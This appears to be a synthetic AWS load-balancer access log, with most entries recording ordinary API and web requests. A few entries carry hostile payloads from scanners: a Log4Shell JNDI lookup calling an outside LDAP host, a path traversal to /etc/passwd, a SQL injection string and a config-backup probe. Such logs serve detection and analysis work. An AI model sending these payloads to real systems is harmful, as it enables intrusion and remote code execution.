2024-11-01T01:32:22.430001Z prod-api-alb 45.155.205.138:51683 10.0.81.202:443 0.077095 0.225123 0.049799 403 403 534 10995 "GET /wp-config.php.bak HTTP/1.1" "Acunetix-Agent" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd36-00481df8b811401dadf492c2" "-" "-" 9 2024-11-01T01:32:22.430001Z "forward" "-" "-" "10.0.81.202:443" "403" "-" "-" +https 2024-11-01T01:32:23.599494Z prod-api-alb 9.55.13.149:52798 10.0.182.31:443 0.060222 0.287109 0.037775 200 200 167 11801 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd37-f24c0c8f901249c9b598c419" "prod-api-alb.example.com" "-" 1 2024-11-01T01:32:23.599494Z "forward" "-" "-" "10.0.182.31:443" "200" "-" "-" +https 2024-11-01T01:32:24.851261Z prod-web-alb 145.60.20.222:14852 10.0.10.22:443 0.096437 0.165903 0.048492 302 302 712 2604 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd38-ece989083dc64406b1f9b163" "prod-web-alb.example.com" "-" 6 2024-11-01T01:32:24.851261Z "forward" "-" "-" "10.0.10.22:443" "302" "-" "-" +https 2024-11-01T01:32:26.087757Z staging-alb 249.247.12.148:29081 10.56.111.50:80 0.000722 0.719432 0.104033 404 404 131 5561 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd3a-db7f245e2fa947f2af988645" "staging-alb.example.com" "-" 5 2024-11-01T01:32:26.087757Z "forward" "-" "-" "10.56.111.50:80" "404" "-" "-" +https 2024-11-01T01:32:26.671240Z prod-web-alb 213.226.222.157:26936 10.0.156.57:443 0.040633 0.387325 0.045030 200 200 864 2275 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd3a-af64f0a53bf34f21a3419e0c" "prod-web-alb.example.com" "-" 3 2024-11-01T01:32:26.671240Z "forward" "-" "-" "10.0.156.57:443" "200" "-" "-" +https 2024-11-01T01:32:27.067503Z prod-api-alb 140.230.144.227:31218 10.0.5.234:443 0.016111 0.110892 0.003863 404 404 574 14818 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd3b-74fbe63eb2e24fce9b092399" "prod-api-alb.example.com" "-" 6 2024-11-01T01:32:27.067503Z "forward" "-" "-" "10.0.5.234:443" "404" "-" "-" +https 2024-11-01T01:32:28.271008Z prod-api-alb 188.234.19.105:42948 10.0.21.87:443 0.025118 0.071529 0.038290 200 200 307 14780 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd3c-9545a64f007547e48863992d" "prod-api-alb.example.com" "-" 9 2024-11-01T01:32:28.271008Z "forward" "-" "-" "10.0.21.87:443" "200" "-" "-" +https 2024-11-01T01:32:29.263115Z prod-api-alb 176.216.53.199:50716 10.0.68.58:443 0.029834 0.495526 0.035556 200 200 288 11174 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd3d-9b852fe6441c43d5b71a2b12" "prod-api-alb.example.com" "-" 9 2024-11-01T01:32:29.263115Z "forward" "-" "-" "10.0.68.58:443" "200" "-" "-" +http 2024-11-01T01:32:29.785668Z staging-alb 254.96.225.156:34620 120.26.159.104:8080 0.129951 0.230740 0.121499 301 301 234 10684 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd3d-5d18fcc6367b4042ad67c844" "staging-alb.example.com" "-" 5 2024-11-01T01:32:29.785668Z "forward" "-" "-" "120.26.159.104:8080" "301" "-" "-" +https 2024-11-01T01:32:30.813460Z staging-alb 193.27.228.240:44607 79.61.18.221:8080 0.017103 0.554282 0.105892 404 404 245 14350 "GET /../../../etc/passwd HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd3e-08f9e3d284874293bd927195" "-" "-" 6 2024-11-01T01:32:30.813460Z "forward" "-" "-" "79.61.18.221:8080" "404" "-" "-" +https 2024-11-01T01:32:32.595823Z prod-web-alb 71.202.142.21:22780 10.0.10.13:443 0.085279 0.374966 0.016810 200 200 265 2788 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd40-fe515238292c4a3f946cac96" "prod-web-alb.example.com" "-" 2 2024-11-01T01:32:32.595823Z "forward" "-" "-" "10.0.10.13:443" "200" "-" "-" +https 2024-11-01T01:32:33.050370Z staging-alb 185.181.21.23:64033 38.66.114.233:8080 0.107902 0.693508 0.015078 200 200 494 9600 "POST /users?id=1 OR 1=1 HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd41-1842aa327d7e4ff2885e3197" "-" "-" 4 2024-11-01T01:32:33.050370Z "forward" "-" "-" "38.66.114.233:8080" "200" "-" "-" +https 2024-11-01T01:32:34.207045Z prod-api-alb 123.26.17.123:32783 10.0.167.51:443 0.003317 0.377816 0.061552 200 200 633 11606 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd42-3c0723abbba04561b93553dc" "prod-api-alb.example.com" "-" 7 2024-11-01T01:32:34.207045Z "forward" "-" "-" "10.0.167.51:443" "200" "-" "-" +https 2024-11-01T01:32:34.977868Z prod-web-alb 68.184.3.99:53096 10.0.39.52:443 0.020169 0.423717 0.078501 301 301 714 4179 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd42-6b82cebddcf444ad802526a0" "prod-web-alb.example.com" "-" 8 2024-11-01T01:32:34.977868Z "forward" "-" "-" "10.0.39.52:443" "301" "-" "-" +https 2024-11-01T01:32:36.605669Z staging-alb 9.159.98.254:32550 205.106.110.205:80 0.148356 0.254549 0.071663 404 404 201 8307 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd44-81e493d337964466a5819dd7" "staging-alb.example.com" "-" 1 2024-11-01T01:32:36.605669Z "forward" "-" "-" "205.106.110.205:80" "404" "-" "-" +https 2024-11-01T01:32:38.243426Z prod-api-alb 51.4.124.104:37236 10.0.137.29:443 0.074871 0.052972 0.074080 200 200 269 1351 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd46-3df1f2966cf64df0b9c985fd" "prod-api-alb.example.com" "-" 4 2024-11-01T01:32:38.243426Z "forward" "-" "-" "10.0.137.29:443" "200" "-" "-" +http 2024-11-01T01:32:39.121559Z staging-alb 182.205.194.190:44286 53.0.144.85:8080 0.012079 0.371194 0.037091 200 200 391 12275 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd47-0e0f6087091744ea83d5f7ab" "staging-alb.example.com" "-" 8 2024-11-01T01:32:39.121559Z "forward" "-" "-" "53.0.144.85:8080" "200" "-" "-" +https 2024-11-01T01:32:39.502205Z prod-api-alb 45.155.205.246:40008 10.0.124.217:443 0.055404 0.352813 0.009069 500 500 738 621 "POST /?x=${jndi:ldap://attack.com/exp} HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd47-bf271b4cd52045528eb5c866" "-" "-" 1 2024-11-01T01:32:39.502205Z "forward" "-" "-" "10.0.124.217:443" "500" "-" "-" +https 2024-11-01T01:32:40.343833Z prod-web-alb 7.144.233.235:32570 10.0.60.121:443 0.020538 0.247973 0.021641 200 200 274 5393 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd48-2cb566d95ddb4e789bd35c53" "prod-web-alb.example.com" "-" 1 2024-11-01T01:32:40.343833Z "forward" "-" "-" "10.0.60.121:443" "200" "-" "-" +https 2024-11-01T01:32:41.883551Z prod-api-alb 63.120.9.53:38435 10.0.127.39:443 0.091281 0.000982 0.056785 302 302 307 12068 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd49-6c04bf53364b46349f6f0d4e" "prod-api-alb.example.com" "-" 1 2024-11-01T01:32:41.883551Z "forward" "-" "-" "10.0.127.39:443" "302" "-" "-" +https 2024-11-01T01:32:42.120588Z prod-api-alb 141.9.2.88:34758 10.0.160.101:443 0.037879 0.395956 0.054146 302 302 288 4522 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd4a-dff125ee0644441fa437eb63" "prod-api-alb.example.com" "-" 4 2024-11-01T01:32:42.120588Z "forward" "-" "-" "10.0.160.101:443" "302" "-" "-" +https 2024-11-01T01:32:42.805907Z prod-web-alb 10.11.198.128:62794 10.0.232.71:443 0.031926 0.266092 0.053115 200 200 393 3570 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd4a-0000cfd3f029472c9d0b40b0" "prod-web-alb.example.com" "-" 9 2024-11-01T01:32:42.805907Z "forward" "-" "-" "10.0.232.71:443" "200" "-" "-" +http 2024-11-01T01:32:43.483862Z staging-alb 197.121.82.126:25159 177.52.181.11:80 0.080853 0.337728 0.056320 200 200 175 4100 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd4b-b025035e53ab46d6b911dccd" "staging-alb.example.com" "-" 5 2024-11-01T01:32:43.483862Z "forward" "-" "-" "177.52.181.11:80" "200" "-" "-" +https 2024-11-01T01:32:43.699939Z staging-alb 161.255.129.108:54051 52.207.26.232:8080 0.023112 0.409154 0.074486 301 301 622 9494 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd4b-03e63de7941d411483103140" "staging-alb.example.com" "-" 7 2024-11-01T01:32:43.699939Z "forward" "-" "-" "52.207.26.232:8080" "301" "-" "-" +https 2024-11-01T01:32:43.994179Z prod-api-alb 59.40.234.49:34712 10.0.95.30:443 0.087832 0.030591 0.038463 301 301 446 1347 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd4b-df7e59d4a5f44f24b18b978a" "prod-api-alb.example.com" "-" 0 2024-11-01T01:32:43.994179Z "forward" "-" "-" "10.0.95.30:443" "301" "-" "-" +https 2024-11-01T01:32:45.801215Z prod-api-alb 224.33.219.88:15528 10.0.28.109:443 0.076588 0.487822 0.074096 302 302 946 2760 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd4d-857cc7d689624e39aaa10c34" "prod-api-alb.example.com" "-" 8 2024-11-01T01:32:45.801215Z "forward" "-" "-" "10.0.28.109:443" "302" "-" "-" +https 2024-11-01T01:32:47.491032Z prod-api-alb 9.239.194.250:10168 10.0.192.3:443 0.060502 0.480047 0.018528 200 200 857 3679 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd4f-6d1b0b7869e1462a9d9461d8" "prod-api-alb.example.com" "-" 7 2024-11-01T01:32:47.491032Z "forward" "-" "-" "10.0.192.3:443" "200" "-" "-" +https 2024-11-01T01:32:48.646486Z prod-api-alb 229.73.130.115:19066 10.0.4.234:443 0.063713 0.041217 0.008049 200 200 831 7743 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd50-49a47ecee94a46a9ae869046" "prod-api-alb.example.com" "-" 8 2024-11-01T01:32:48.646486Z "forward" "-" "-" "10.0.4.234:443" "200" "-" "-" +http 2024-11-01T01:32:49.080593Z staging-alb 221.153.241.161:51392 169.133.181.20:443 0.012005 0.063540 0.082058 301 301 786 2928 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd51-5060ff8a61b34323ae402f27" "staging-alb.example.com" "-" 8 2024-11-01T01:32:49.080593Z "forward" "-" "-" "169.133.181.20:443" "301" "-" "-" +https 2024-11-01T01:32:49.494749Z prod-web-alb 69.103.215.201:13249 10.0.113.193:443 0.054586 0.280516 0.024099 302 302 193 13979 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd51-35b7296a1b6541038b14f9a6" "prod-web-alb.example.com" "-" 7 2024-11-01T01:32:49.494749Z "forward" "-" "-" "10.0.113.193:443" "302" "-" "-" +https 2024-11-01T01:32:49.959317Z prod-api-alb 160.98.141.5:21657 10.0.199.44:443 0.022821 0.388523 0.092055 404 404 728 5634 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd51-72234ba610fa4569b376ec3a" "prod-api-alb.example.com" "-" 6 2024-11-01T01:32:49.959317Z "forward" "-" "-" "10.0.199.44:443" "404" "-" "-" +http 2024-11-01T01:32:51.782578Z staging-alb 161.237.166.231:23585 254.61.10.163:443 0.148350 0.305711 0.014906 302 302 712 11907 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd53-ffe6c16ffc1643fcbe96cecf" "staging-alb.example.com" "-" 10 2024-11-01T01:32:51.782578Z "forward" "-" "-" "254.61.10.163:443" "302" "-" "-" +https 2024-11-01T01:32:52.943162Z prod-api-alb 205.247.115.35:40547 10.0.207.107:443 0.055623 0.019555 0.055845 301 301 44 12629 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd54-29fc4e0772474c14821909a3" "prod-api-alb.example.com" "-" 9 2024-11-01T01:32:52.943162Z "forward" "-" "-" "10.0.207.107:443" "301" "-" "-" +https 2024-11-01T01:32:53.451296Z staging-alb 78.93.160.117:35895 214.58.84.168:80 0.066447 0.422454 0.099127 200 200 1000 4176 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd55-3c36d629bcb44ac18b85da19" "staging-alb.example.com" "-" 4 2024-11-01T01:32:53.451296Z "forward" "-" "-" "214.58.84.168:80" "200" "-" "-" +https 2024-11-01T01:32:54.919936Z prod-web-alb 203.27.40.192:17863 10.0.112.162:443 0.037368 0.319787 0.041974 200 200 682 10455 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd56-cba53c7c985c4266967ee9a4" "prod-web-alb.example.com" "-" 0 2024-11-01T01:32:54.919936Z "forward" "-" "-" "10.0.112.162:443" "200" "-" "-" +https 2024-11-01T01:32:55.531268Z prod-web-alb 25.132.178.127:14102 10.0.180.248:443 0.035819 0.089033 0.043228 404 404 23 10084 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd57-dd3eb587ce3e4542ba058f29" "prod-web-alb.example.com" "-" 4 2024-11-01T01:32:55.531268Z "forward" "-" "-" "10.0.180.248:443" "404" "-" "-" +https 2024-11-01T01:32:56.334536Z prod-web-alb 7.83.121.61:41648 10.0.177.225:443 0.003640 0.465685 0.076386 301 301 655 765 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd58-e915b1fcee9845978f142d06" "prod-web-alb.example.com" "-" 1 2024-11-01T01:32:56.334536Z "forward" "-" "-" "10.0.177.225:443" "301" "-" "-" +https 2024-11-01T01:32:56.497025Z prod-api-alb 94.161.72.51:43915 10.0.36.144:443 0.090094 0.278338 0.088879 200 200 545 13528 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd58-22c83fee18be470982c6acb5" "prod-api-alb.example.com" "-" 8 2024-11-01T01:32:56.497025Z "forward" "-" "-" "10.0.36.144:443" "200" "-" "-" +https 2024-11-01T01:32:58.301353Z prod-api-alb 200.191.137.97:31266 10.0.225.28:443 0.093140 0.239945 0.018370 200 200 926 2081 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd5a-5dd95d554f5740daa4297505" "prod-api-alb.example.com" "-" 5 2024-11-01T01:32:58.301353Z "forward" "-" "-" "10.0.225.28:443" "200" "-" "-" +https 2024-11-01T01:33:00.207246Z prod-api-alb 95.192.143.204:43480 10.0.101.117:443 0.009770 0.384894 0.053912 200 200 27 511 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd5c-48fd3243137c4ee6967b0ae9" "prod-api-alb.example.com" "-" 2 2024-11-01T01:33:00.207246Z "forward" "-" "-" "10.0.101.117:443" "200" "-" "-" +https 2024-11-01T01:33:00.490140Z prod-api-alb 16.147.185.60:25406 10.0.46.188:443 0.073760 0.301456 0.086500 200 200 228 12273 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd5c-f2499d8590914a2a80575de2" "prod-api-alb.example.com" "-" 7 2024-11-01T01:33:00.490140Z "forward" "-" "-" "10.0.46.188:443" "200" "-" "-" +https 2024-11-01T01:33:01.583652Z prod-web-alb 212.227.174.100:48442 10.0.154.164:443 0.095464 0.404379 0.092594 302 302 62 9316 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd5d-877bf6573af7424bb2708e1c" "prod-web-alb.example.com" "-" 7 2024-11-01T01:33:01.583652Z "forward" "-" "-" "10.0.154.164:443" "302" "-" "-" +https 2024-11-01T01:33:03.556867Z prod-web-alb 236.82.0.188:41788 10.0.232.17:443 0.099304 0.358557 0.007443 200 200 501 2509 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd5f-d17b0f7dfb2047418c9df9c8" "prod-web-alb.example.com" "-" 0 2024-11-01T01:33:03.556867Z "forward" "-" "-" "10.0.232.17:443" "200" "-" "-" +https 2024-11-01T01:33:04.414252Z staging-alb 14.34.129.5:43415 22.21.237.124:443 0.105842 0.578262 0.082604 200 200 517 8818 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd60-4456d52eea25487a86ca45d8" "staging-alb.example.com" "-" 3 2024-11-01T01:33:04.414252Z "forward" "-" "-" "22.21.237.124:443" "200" "-" "-" +https 2024-11-01T01:33:05.721569Z prod-web-alb 58.47.102.8:44685 10.0.28.75:443 0.093768 0.361197 0.030593 200 200 679 4729 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd61-c4d4a004e2b84ffb9d9d4f2e" "prod-web-alb.example.com" "-" 8 2024-11-01T01:33:05.721569Z "forward" "-" "-" "10.0.28.75:443" "200" "-" "-" +https 2024-11-01T01:33:06.238367Z staging-alb 49.156.204.11:45811 70.202.142.79:8080 0.037973 0.359295 0.006605 200 200 925 6293 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd62-ce436ca08c02447783c4969d" "staging-alb.example.com" "-" 2 2024-11-01T01:33:06.238367Z "forward" "-" "-" "70.202.142.79:8080" "200" "-" "-" +http 2024-11-01T01:33:06.743112Z staging-alb 140.94.137.0:19628 245.81.209.165:8080 0.107597 0.673485 0.101952 301 301 218 9961 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd62-b7eae01e5bd042848ea74db5" "staging-alb.example.com" "-" 9 2024-11-01T01:33:06.743112Z "forward" "-" "-" "245.81.209.165:8080" "301" "-" "-" +https 2024-11-01T01:33:07.109902Z prod-api-alb 86.149.155.99:14096 10.0.229.73:443 0.044284 0.181722 0.067064 404 404 403 7452 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd63-c4c7f01eba99414ca73e81f6" "prod-api-alb.example.com" "-" 1 